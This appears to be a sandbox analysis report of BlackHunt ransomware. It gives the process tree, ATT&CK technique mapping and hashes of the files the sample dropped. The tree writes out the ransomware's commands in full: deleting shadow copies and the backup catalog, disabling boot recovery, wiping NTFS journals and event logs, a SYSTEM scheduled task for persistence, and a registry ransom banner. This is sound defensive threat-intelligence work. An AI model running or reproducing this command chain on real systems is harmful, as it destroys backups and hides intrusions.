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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f3⤵PID:4280
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\fd71685a3d3d432d8944891d79d76637599809204289216ac651e23beac2fa37.exe" /F2⤵PID:4588
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C:\Windows\system32\schtasks.exeSCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\fd71685a3d3d432d8944891d79d76637599809204289216ac651e23beac2fa37.exe" /F3⤵
- Creates scheduled task(s)
PID:4112
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB2⤵PID:1516
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB3⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:2296
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded2⤵PID:1272
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded3⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:740
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB2⤵PID:532
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB3⤵
- Interacts with shadow copies
PID:3040
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded2⤵PID:4168
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded3⤵
- Interacts with shadow copies
PID:2832
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No2⤵PID:3156
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C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No3⤵
- Modifies boot configuration data using bcdedit
PID:4864
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet2⤵PID:4520
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C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet3⤵
- Interacts with shadow copies
PID:2780
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures2⤵PID:1568
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C:\Windows\system32\bcdedit.exebcdedit /set {default} bootstatuspolicy IgnoreAllFailures3⤵
- Modifies boot configuration data using bcdedit
PID:3244
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:2⤵PID:3224
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C:\Windows\system32\fsutil.exefsutil.exe usn deletejournal /D C:3⤵
- Deletes NTFS Change Journal
PID:4676
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet2⤵PID:4932
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C:\Windows\system32\wbadmin.exewbadmin.exe delete catalog -quiet3⤵
- Deletes backup catalog
PID:2316
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable2⤵PID:2160
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C:\Windows\system32\schtasks.exeschtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable3⤵PID:4584
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D C:\2⤵PID:5352
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C:\Windows\system32\fsutil.exefsutil usn deletejournal /D C:\3⤵PID:2288
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D M:\2⤵PID:5476
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C:\Windows\system32\fsutil.exefsutil usn deletejournal /D M:\3⤵
- Enumerates connected drives
PID:5008
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D F:\2⤵PID:5256
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C:\Windows\system32\fsutil.exefsutil usn deletejournal /D F:\3⤵
- Enumerates connected drives
PID:1392
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Setup2⤵PID:296
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C:\Windows\system32\wevtutil.exewevtutil.exe cl Setup3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:5976
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl System2⤵PID:5552
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C:\Windows\system32\wevtutil.exewevtutil.exe cl System3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:5136
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Application2⤵PID:3488
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C:\Windows\system32\wevtutil.exewevtutil.exe cl Application3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:3616
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security2⤵PID:5660
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C:\Windows\system32\wevtutil.exewevtutil.exe cl Security3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:3512
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security /e:false2⤵PID:4984
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C:\Windows\system32\wevtutil.exewevtutil.exe cl Security /e:false3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:5980
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet2⤵PID:208
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C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet3⤵
- Interacts with shadow copies
PID:4560
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No2⤵PID:4808
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C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No3⤵
- Modifies boot configuration data using bcdedit
PID:2880
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures2⤵PID:4996
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C:\Windows\system32\bcdedit.exebcdedit /set {default} bootstatuspolicy IgnoreAllFailures3⤵
- Modifies boot configuration data using bcdedit
PID:2440
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:2⤵PID:4432
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C:\Windows\system32\fsutil.exefsutil.exe usn deletejournal /D C:3⤵
- Deletes NTFS Change Journal
PID:3096
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet2⤵PID:1860
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C:\Windows\system32\wbadmin.exewbadmin.exe delete catalog -quiet3⤵
- Deletes backup catalog
PID:1900
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable2⤵PID:3080
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C:\Windows\system32\schtasks.exeschtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable3⤵PID:4908
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f2⤵PID:3508
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C:\Windows\system32\reg.exeREG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f3⤵PID:4828
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f2⤵PID:3152
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C:\Windows\system32\reg.exeREG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f3⤵PID:2580
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Delete /TN "Windows Critical Update" /F2⤵PID:3280
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C:\Windows\system32\schtasks.exeSCHTASKS.exe /Delete /TN "Windows Critical Update" /F3⤵PID:2620
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f2⤵PID:4404
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f3⤵PID:2376
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f2⤵PID:2268
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f3⤵PID:5088
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /IM mshta.exe /f2⤵PID:4516
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C:\Windows\system32\taskkill.exetaskkill /IM mshta.exe /f3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:752
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt2⤵PID:5308
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C:\Windows\system32\notepad.exenotepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt3⤵PID:1600
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c C:\ProgramData\#BlackHunt_ReadMe.hta2⤵PID:3040
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:800
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C:\Windows\system32\wbengine.exe"C:\Windows\system32\wbengine.exe"1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3424
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C:\Windows\System32\vdsldr.exeC:\Windows\System32\vdsldr.exe -Embedding1⤵PID:5212
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C:\Windows\System32\vds.exeC:\Windows\System32\vds.exe1⤵
- Checks SCSI registry key(s)
PID:3156
Network
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Privilege Escalation
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Defense Evasion
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Impair Defenses
2Disable or Modify Tools
2Indicator Removal
4File Deletion
3Modify Registry
5Replay Monitor
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Downloads
- Path C:\#BlackHunt_Private.key
- Size 1KB
- SHA256 25189e3cdc1be4848ca63f5f294351f7b12673bbe26698030253d71d720714fd
- MD5 fe8177e67520431545a771f41c52be78
- SHA1 b1cb4e2356ae01314a35ea9419f3707a349e1345
- SHA512 8bff61e33a8076c0e76f719c5d1b48b6b5377efb0d038f14bab893465779782493a011a41aa8494e569a37468649fe264a3ea512af2828191187a90a465960c0
- MD5 SHA1 SHA512
- Path C:\#BlackHunt_ReadMe.hta
- Size 12KB
- SHA256 5faba7964d90b6afe4c6374b4b806ccf6840a043b44849d7e1100e49be790553
- MD5 373e915c0764599b7378d2f7980104c6
- SHA1 088e37b490b5ff660d8c0e13efa6de0a776f0bfb
- SHA512 aa80596f8e3d94aace2df62873d81440bc5aef3934232f87fcdf15a7296a05fa9c47b12f2d7aa211511655f4e02ad16eb3c0c7e09c7da9079dff25ce9d5a6afa
- SSDEEP 192:6zNWVQDnFfSkURroocVPEnvQIl4EsD3nDk/hp9HE96EzIAaXCA/Mn3W9qz6OsQa6:SKAFfFU1QEnk3noZfE9L1aeLzNst4aI
- MD5 SHA1 SHA512 SSDEEP
- Path C:\ProgramData\#BlackHunt_ReadMe.txt
- Size 684B
- SHA256 6db9423007408784fd5378492dcfa8f307e4eb6e6b4e605723d2538dad038219
- MD5 401e646f1c9ee46276ceb4e9163ea464
- SHA1 bb8b4437e1ac7f10275bacda88057d72edad705e
- SHA512 3beccf67b9ab6e54828b2e876438403cb5f528d6c4da661339a09ed63d1eb0e9949163637674dc8423605a41227731b57c5a5d1f273f9570167f1f6f9b73c141
- MD5 SHA1 SHA512